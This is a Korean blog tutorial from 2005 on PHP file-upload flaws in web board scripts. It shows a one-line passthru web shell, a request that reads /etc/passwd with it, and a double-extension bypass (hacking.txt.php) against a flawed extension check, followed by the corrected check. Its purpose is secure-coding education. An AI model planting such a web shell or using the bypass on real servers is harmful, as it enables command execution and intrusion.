/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/

4) file upload 알고리즘 시의 주의할점 -1-

이번에 다룰 연속적인 주제는 기존의 Web Board 에서 자주 발견된 버그이다.
이 보안 프로그램에서 다루는 내용이 유난히 Web Board 내용이 많은데 그것은
Web 에서 Board 의 비율이 굉장히 높은 비중을 차지하고 있으며, Web Board
에서 나온 대부분의 Security Hole 은 다른 CGI 에서도 드러나는 현상들이기
때문이다.

첫번째 다룰 주제는 Board 에 file upload 할때 일어날 수 있는 문제점 중의
하나이다. php 프로그래밍에서는 사용자가 file 을 올리려 할때 php 와 같은
확장자를 갖는 file 을 올리는 것을 막아야 한다. 이유는 사용자가 Server 에
php file 을 올릴 수 있다면 서버에서 shell 을 실행할 수 있기 때문이다.

예를 들자면 다음과 같은 script 를 Server 에 Upload 했다고 하자.

hacking.php

passthru($beist);
?>

cracker 는 다음과 같은 방법으로 System 에서 Command 를 Execute 할 수있다.

[요청]
http://server/hacking.php?beist=cat /etc/passwd

[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

cracker 는 Server 의 passwd file 을 읽을 수 있다. (물론 더 침입을 시도
하였다면 System 의 Root 가 되는 것도 쉽게 가능하였을 것이다.)

예전에 어떤 CGI 에서 다음과 같은 방법으로 php 업로드를 막으려 하였다.
하지만, 완벽한 보안은 없는법. 이를 깨는 방법도 있다.

write_ok.php

1 2
3 /* 절차 생략 */
4
5 $check=explode( ".", $in_file_name);
6
7 if($check[1]!="txt")
8 {
9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
10 exit;
11 }
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>

/* 이해를 쉽게 하기 위하여 소스의 맨 앞에 line number 를 붙였다.
write_ok.php 로 값이 넘어갈때 file 의 변수값은 $in_file 이다. 뒤에
apache, php 로 돌아가고 있는 서버일때 사용자의 FILE FORM 변수가
in_file 이라면 넘어올때 $in_file_name, $in_file_size 와 같이 자동적으로
변수가 붙게 된다. $in_file_name 은 사용자가 올린 file 이름을 말한다.
5 번째 라인에서 $in_file_name 을 . 을 기준으로 $check 에 배열형식으로
담는다. 예를 들어 이 문법은, test.php 라는 file 을 사용자가 올렸다면
$check[0] 에는 test 가, $check[1] 에는 php 가 담기게 된다.
7 번째 줄에서 $check[1] 의 확장자가 txt 가 아니라면 모두 잘못된
file 로 간주하고 스크립트 실행을 중지시켜 버린다.
만약 정상적인 file 이라면 그 다음 스크립트를 진행하여 file 은 아마도
올바르게 저장이 될 것이다. */

하지만 이 방법에도 취약점이 존재한다. 분명히 explode 를 이용하여 배열을
나누긴 하지만 $check[1] 에만 txt 가 담기게 하면 인증을 무사히 통과할 수
있을 것이다. 그래서 filename 을 hacking.txt.php 라고 올린다다면 $check[1]
에는 txt 가 담기게 될것이고 결과적으로 php 파일은 올라가게 될것이다.

[요청]
http://server/data/hacking.txt.php?beist=cat /etc/passwd

[결과]
root:*:0:0:root:/root:/usr/local/bin/bash
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
................................

php3, html, shtml 와 같이 php 스크립트를 돌릴수 있는 확장자도 더 있지만
여기서는 설명을 위해 php 확장자 단 하나만이 스크립트를 돌릴 수 있다는
가정하에 설명하였다.

해결 방법을 알아보자.

여기서의 문제점은 file name 에서 . 으로 나눴을때의 기준으로 첫번째
배열만 검사를 한다는 점이다. (0 부터 시작한다.) 이에 대한 보완점으로
file name 에서 . 으로 나누었을때 맨 마지막에 위치한 배열을 검사해야한다.
올바르게 갱신된 소스를 살펴보자.

write_ok2.php

1 2
3 /* 절차 생략 */
4
5 $check=explode( ".", $in_file_name);
6 $point=count($check)-1;
7 if($check[$point]!="txt")
8 {
9 echo "죄송합니다. 확장자가 txt 가 아니라면 자료를 올리실 수 없습니다.";
10 exit;
11 }
12
13 $exist = file_exists("data/$in_file_name");
14 if($exist)
15 {
16 echo "동일한 파일이름이 이미 존재합니다. 다른 파일명으로 올려주세요.";
17 exit;
18 }
19
20 if(!copy($in_file, "data/$in_file_name"))
21 {
22 echo "죄송합니다. 파일 저장을 실패하였습니다. 다시 시도해주세요.";
23 exit;
24 }
25
26 chmod("data/$in_file_name", 0444);
27
28 unlink($in_file);
29
30 /* 절차 생략 */
31
32 ?>

추가된 부분은 6 번째 라인이다. $check 배열을 count 함수를 이용하여 몇개의
배열이 있는지 알아보았고 그 $point 에 담아놓았다. 7 번째 줄에서 검사를 할때
$point 를 주어 맨 마지막 배열을 검사하도록 하였다.

결국 cracker 가 hacking.txt.php 를 올려도 txt 가 담긴 배열이 아닌 php 가
담긴 배열을 검사함으로써 악의적인 목적을 가진 script 의 upload 를 막을 수가
있다.




출처 - 코드랜드
이올린에 북마크하기

Posted by Dual

2005/07/31 22:46 2005/07/31 22:46
Response
2 Trackbacks , No Comment
RSS :
http://dual5651.hacktizen.com/tc/rss/response/99

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/99

Trackbacks List

  1. Minoura Ds 170 Bike Stand

    Tracked from Minoura Ds 170 Bike Stand 2012/02/21 07:52 Delete

  2. Sun Ringle Equalizer 31 Rim

    Tracked from Sun Ringle Equalizer 31 Rim 2012/03/10 19:13 Delete

Leave a comment
« Previous : 1 : ... 167 : 168 : 169 : 170 : 171 : 172 : 173 : 174 : 175 : ... 251 : Next »

블로그 이미지

슬픔 메아리쳐, 난 너무도 약했어..

- Dual

Notices

Archives

Authors

  1. Dual

Calendar

«   2012/05   »
Sun Mon Tue Wed Thu Fri Sat
    1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31    

Site Stats

Total hits:
98779
Today:
59
Yesterday:
165